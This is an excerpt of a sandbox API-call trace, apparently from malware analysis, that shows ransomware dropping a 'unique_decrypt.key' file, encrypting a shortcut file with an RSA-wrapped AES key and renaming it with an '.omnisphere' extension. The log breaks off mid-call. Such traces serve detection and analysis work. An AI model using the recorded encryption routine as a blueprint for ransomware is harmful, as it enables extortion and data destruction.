[0119.163] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e788 [0119.163] PathCombineW (in: pszDest=0x162e788, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.163] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.163] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.163] CloseHandle (hObject=0x28c) returned 1 [0119.163] GetProcessHeap () returned 0x1600000 [0119.163] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e788 | out: hHeap=0x1600000) returned 1 [0119.163] GetProcessHeap () returned 0x1600000 [0119.163] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.163] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e19de5b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e19de5b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1e19de5b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4b5, dwReserved0=0x0, dwReserved1=0xd3, cFileName="7sYqE1e.lnk", cAlternateFileName="")) returned 1 [0119.164] GetProcessHeap () returned 0x1600000 [0119.164] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x167c168 [0119.164] PathCombineW (in: pszDest=0x167c168, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="7sYqE1e.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7sYqE1e.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7sYqE1e.lnk" [0119.164] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.164] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7sYqE1e.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7syqe1e.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.164] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1205) returned 1 [0119.164] GetTickCount () returned 0x115dc72 [0119.164] GetTickCount () returned 0x115dc72 [0119.164] GetTickCount () returned 0x115dc72 [0119.164] GetTickCount () returned 0x115dc72 [0119.164] GetTickCount () returned 0x115dc72 [0119.164] GetTickCount () returned 0x115dc72 [0119.164] GetTickCount () returned 0x115dc72 [0119.164] GetTickCount () returned 0x115dc72 [0119.164] GetTickCount () returned 0x115dc72 [0119.164] GetTickCount () returned 0x115dc72 [0119.164] GetTickCount () returned 0x115dc72 [0119.164] GetTickCount () returned 0x115dc72 [0119.164] GetTickCount () returned 0x115dc72 [0119.165] GetTickCount () returned 0x115dc72 [0119.165] GetTickCount () returned 0x115dc72 [0119.165] GetTickCount () returned 0x115dc72 [0119.165] GetTickCount () returned 0x115dc72 [0119.165] GetTickCount () returned 0x115dc72 [0119.165] GetTickCount () returned 0x115dc72 [0119.165] GetTickCount () returned 0x115dc72 [0119.165] GetTickCount () returned 0x115dc72 [0119.165] GetTickCount () returned 0x115dc72 [0119.165] GetTickCount () returned 0x115dc72 [0119.165] GetTickCount () returned 0x115dc72 [0119.165] GetTickCount () returned 0x115dc72 [0119.165] GetTickCount () returned 0x115dc72 [0119.165] GetTickCount () returned 0x115dc72 [0119.165] GetTickCount () returned 0x115dc72 [0119.165] GetTickCount () returned 0x115dc72 [0119.165] GetTickCount () returned 0x115dc72 [0119.165] GetTickCount () returned 0x115dc72 [0119.165] GetTickCount () returned 0x115dc72 [0119.165] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0119.166] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0119.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.166] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.166] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0119.166] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b5, lpName=0x0) returned 0x288 [0119.166] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b5) returned 0x1480000 [0119.167] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668e78) returned 1 [0119.167] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0119.167] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.171] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.171] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0119.171] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4b5, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.172] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.172] GetProcessHeap () returned 0x1600000 [0119.172] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a8) returned 0x16ae3b0 [0119.172] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7sYqE1e.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7syqe1e.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7sYqE1e.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7syqe1e.lnk.omnisphere")) returned 1 [0119.173] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7sYqE1e.lnk.omnisphere", lpString2=".id" | out: 